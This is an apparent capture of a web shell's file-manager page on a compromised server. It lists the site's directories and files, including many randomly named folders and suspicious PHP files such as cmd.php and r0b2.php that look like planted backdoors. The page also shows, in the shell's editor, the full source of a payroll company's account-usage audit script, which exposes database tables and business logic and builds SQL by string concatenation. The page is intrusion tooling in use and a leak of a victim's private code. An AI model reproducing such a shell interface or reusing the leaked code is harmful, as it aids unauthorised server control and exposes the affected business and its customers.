ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.13

Name	Size	Perm	Actions
📁 p1bajxv	-	0777	🗑️ 🏷️
📁 esigwal	-	0777	🗑️ 🏷️
📁 iflqhev	-	0777	🗑️ 🏷️
📁 images	-	0555	🗑️ 🏷️
📁 kgalpwy	-	0777	🗑️ 🏷️
📁 klydwuv	-	0777	🗑️ 🏷️
📁 mubyspr	-	0777	🗑️ 🏷️
📁 nohysck	-	0777	🗑️ 🏷️
📁 obl1kfc	-	0777	🗑️ 🏷️
📁 odma1li	-	0777	🗑️ 🏷️
📁 oinrewj	-	0777	🗑️ 🏷️
📁 ojyepsw	-	0777	🗑️ 🏷️
📁 olmc1az	-	0777	🗑️ 🏷️
📁 prxb1qs	-	0777	🗑️ 🏷️
📁 e-conomicIntegration	-	0555	🗑️ 🏷️
📁 qgdlfys	-	0777	🗑️ 🏷️
📁 soatcbj	-	0777	🗑️ 🏷️
📁 tzlmqpe	-	0777	🗑️ 🏷️
📁 uehfstg	-	0777	🗑️ 🏷️
📁 ugtsivm	-	0777	🗑️ 🏷️
📁 vyimofw	-	0777	🗑️ 🏷️
📁 well-known	-	0555	🗑️ 🏷️
📁 wlftxsa	-	0777	🗑️ 🏷️
📁 wp-admin	-	0555	🗑️ 🏷️
📁 wp-admin old	-	0555	🗑️ 🏷️
📁 wp-content	-	0555	🗑️ 🏷️
📁 wp-includes	-	0555	🗑️ 🏷️
📁 wp-includesold	-	0555	🗑️ 🏷️
📁 economicIntegration	-	0555	🗑️ 🏷️
📁 mpqeflu	-	0777	🗑️ 🏷️
📁 xnzw1lm	-	0777	🗑️ 🏷️
📁 Standard	-	0555	🗑️ 🏷️
📁 RevisoIntegration	-	0555	🗑️ 🏷️
📁 _private	-	0555	🗑️ 🏷️
📁 aoxndcu	-	0777	🗑️ 🏷️
📁 1roxuyf	-	0777	🗑️ 🏷️
📁 bk0	-	0555	🗑️ 🏷️
📁 bxniuzh	-	0777	🗑️ 🏷️
📁 XeroIntegration	-	0555	🗑️ 🏷️
📁 1awzkst	-	0777	🗑️ 🏷️
📁 KashFlowIntegration	-	0555	🗑️ 🏷️
📁 TwinfieldIntegration	-	0555	🗑️ 🏷️
📁 Secure	-	0555	🗑️ 🏷️
📄 web.config	4.04 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 AcctUsage.asp	2.76 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 Login.asp	7.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 vtjbarya.php	18.53 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 uuu.php	36.79 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 users.php	6.34 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 update-core.php	6.34 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ContactUs.asp	20.28 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 MyDeckCentreLogin.asp	0.71 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 PrepareLogin.asp	2.16 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 PrepareRegistration.asp	2.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.18 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ContactTransGlobal.asp	20.58 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config - Copy.php	3.04 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	0.43 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-transient-cleanup.php	5.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	33.71 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-setting.php	10.62 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-optimize-db.php	5.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	0.43 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.27 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	0.3 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-includes.zip	41417.81 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.47 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.26 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-conffg.php	132.17 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 test.php	0.43 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 config.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 sushi.php	10.96 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 codex.php	26.47 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 green.php	81.07 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 google2cb017f294e5684a.html	0.05 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 google15987b49ad28d40a.html	0.05 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	1.97 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	9.84 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 cmd.php	35.08 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 coffexium.php	63.45 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 dsa.php	23.86 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 domaincheck.php	0.48 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 desktop.ini	0.11 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 default.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 default.aspx	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 default.asp	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 debug_log.txt	0.61 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ar.php	0.08 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 m.php	1073.33 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.14 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 SiteUnderMaintenance.asp	1.48 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.25 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 r0b2.php	210.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 configuration.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 qing2.php	0.3 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 SSLTest.asp	0.2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 phpinfo.php	0.02 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 php_errors.log	6445.53 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 SiteUnderMaintenance.htm	0.41 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 main.php	1.97 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 WebPayrollSystem.asp	15.4 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 nwxuukgd.php	173.77 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 mypaye_logo.png	3.86 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 a33.php	23.86 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admina.php	1.2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 manga.php	10.93 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qqq.php	0.06 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: AcctUsage.asp

<%
sql = "SELECT Employer_Id FROM mypayelive.employer_account_usage where usage_id >=395987 and Agency_Invoice_Empl_Mths = 0 and DateEntered < '2017-05-04' group by employer_id"
set rsEmpltoCheck = OpenRecordset(objConn, sql)

iCount = 0
do while not rsEmpltoCheck.eof
	bCheckNeeded = false
	strReason = ""
	sql = "SELECT * FROM mypayelive.employer_account_usage where employer_id = " & rsEmpltoCheck("Employer_Id") & " and dateentered > '2017-01-01' ORDER BY Usage_ID"
	set rsUsage = OpenRecordset(objConn, sql)
	if not rsUsage.eof then
		sql = "SELECT Invoice_Agency from mypayelive.employers where employer_id = " & rsEmpltoCheck("employer_id")
		set rsEmployer = OpenRecordset(objConn, sql)

lastBal = rsUsage("Employee_Months_Bal")
		rsUsage.movenext
		bCorrected = false
		do while not rsUsage.EOF
			' has balance increased without a purchase ?
			if rsUsage("Employee_Months_Bal") > lastBal and "" & rsUsage("Invoice_ID") = "" and "" & rsUsage("Credit_Type") <> "T" and "" & rsUsage("Credit_Type") <> "C" then
				' yes
				if cBool(rsEmployer("Invoice_Agency")) and lastBal = 0 then
					sql = "UPDATE mypayelive.employer_account_usage SET Employee_Months_Bal = 0 where Usage_ID = "  & rsUsage("Usage_ID")
					ExecuteSQL objConn, sql
					response.write rsEmpltoCheck("employer_id") & " usage balance set to 0 as Agency billed" & "<br>" & vbcrlf
					bCorrected = true
					
				else
					bCheckNeeded = true
					strReason = "A " & rsUsage("Usage_ID") & " " & rsUsage("Employee_Months_Bal") & " " & lastBal 
					exit do
				end if
				
			elseif rsUsage("Employee_Months_Bal") < lastBal - rsUsage("Employees_Paid") and rsUsage("Payroll_Type") <> "A" and rsUsage("CIS_Paylist_ID") < 0 then
				' not, reduced by more than employee paid count
				bCheckNeeded = true
 				strReason = "B " & rsUsage("Usage_ID") & " " & rsUsage("Employee_Months_Bal") & " " & lastBal - rsUsage("Employees_Paid")
				exit do

elseif rsUsage("Employee_Months_Bal") < lastBal - (rsUsage("Employees_Paid") * 12) and rsUsage("Payroll_Type") = "A" then
				' not, reduced by more than employee paid count
				bCheckNeeded = true
 				strReason = "B " & rsUsage("Usage_ID") & " " & rsUsage("Employee_Months_Bal") & " " & lastBal - (rsUsage("Employees_Paid") * 12)
				exit do
				
			end if
			if not bCorrected then
				lastBal = rsUsage("Employee_Months_Bal")
			end if
			rsUsage.movenext
		loop
		if bCheckNeeded then
			response.write rsEmpltoCheck("employer_id") & " " & strReason & "<br>" & vbcrlf
			iCount = iCount + 1
		end if
		rsEmployer.close
	end if
	rsEmpltoCheck.movenext
loop
rsEmpltoCheck.close

response.write "Count " & iCount & "<br>" & vbcrlf
objConn.close
set objConn = nothing

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.13

Edit: AcctUsage.asp

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.13